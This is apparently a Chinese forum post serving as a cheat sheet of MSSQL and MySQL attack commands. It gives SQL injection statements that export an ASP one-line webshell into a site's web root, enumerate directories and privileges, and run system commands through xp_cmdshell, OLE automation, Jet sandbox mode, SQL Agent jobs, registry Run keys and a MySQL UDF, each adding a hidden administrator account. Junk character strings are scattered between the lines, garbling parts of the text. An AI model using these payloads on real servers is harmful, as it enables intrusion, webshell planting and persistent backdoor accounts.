mssql实用命令及导出一句话

admin

MSSQL语句导出一句话木马
首先确定网站的WEB路径
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
8 F# }' M4 o% ~$ m2 L8 U  \/ @
9 |  r* \* N7 {9 x. N;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
4 @/ L3 r7 t" i" l+ E% Z4 G//将一句话木马插入表中

;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
/ r3 m% e) g  o. s. \//导出一个ASP文件
1 [2 Y2 U7 M4 {2 }: C4 }$ ~5 x

关于MSSQL列目录
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
4 R0 v. _- W5 y9 J5 ]Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
8 r0 G: U. I! b; `5 K1 w! s* K( f
0 n- G* L0 E0 m  F% Cand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
' \3 k: @3 g& b' X, i# Q  s8 C
, n( {7 t: H$ X) ~4 t( X  h! eAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
) O2 O% i- d. }; f4 |% D
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
9 X6 D& F3 Y) Q' N
- h! z0 J0 F7 [" ?8 h+ x  I, F
数据库版本和权限查看
and 1=(select @@VERSION) //查看详细的数据库信息.
' q& O; m- w9 @; p9 X1 qand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
2 A8 g6 Z" Y  i& h* }, p/ P

1.利用xp_cmdshell执行命令
4 j7 C( k! v+ b4 Iexec master..xp_cmdshell 'net user rfire 123456 /add'
exec master..xp_cmdshell 'net localgroup administrators rfire /add'
/ t( F% T& G. k1 [& _; P4 @# R
3 d9 a, H/ x  N. m恢复xp_cmdshell存储过程
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

$ Y" h* \' U6 a7 z2 h( G* z$ l
2.利用SP_OAcreate和SP_OAMETHOD执行命令
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
3 h/ i( n8 D* TDECLARE @shell INT //建立一个@shell实体
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例


0 r+ O7 _) a) W3 d3.利用沙盒模式
1 F/ b9 |$ `9 H* F7 [先利用xp_regwrite（前提是要求xp_regwrite存在）改注册表，然后用OpenRowSet访问系统自身mdb文件，然后执行SQL语句。
开启沙盒模式：
8 Y7 p" v- a! T* g& U: R: WEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0

* x/ X% ^- \: z# r2 `执行命令：
0 O+ r- p! f; M" |Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
% }) B/ L+ U/ F% ?! g
6 W9 n; b4 V# s# r, J
2 T9 O# ]  _, p- S4.利用SQL代理执行命令
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务

执行命令：
use msdb exec sp_delete_job null,'x' //进入msdb数据库，删除x作业防止出错
exec sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
3 @6 H% l6 `  n! C" Kexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
/ K$ u0 v1 i& {
$ C7 \0 e- B: s0 \* o
5.利用注册表项执行命令（用xp_regwrite将执行命令写入启动项）
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
, M2 K. ~6 f- g) ?8 v
. S# L4 x/ [+ z& G+ h4 A
* D/ O8 x: d" f) l6.MYSQL的命令执行
) b/ }3 S8 F& g" |1 K# @& N' RMYSQL的UDF自定义函数提权（要求账号拥有insert和delete权限）
首先要在su.php下导出c:\windows\udf.dll
$ `; R1 \* {9 t导出后执行创建自定义函数命令：
: x$ b2 E8 i' G  O- f% oCreate Function cmdshell returns string soname 'udf.dll'
执行命令
select cmdshell('net user rfire 123456 /add')
2 N- w9 W- I# k. n执行后删除函数 drop function cmdshell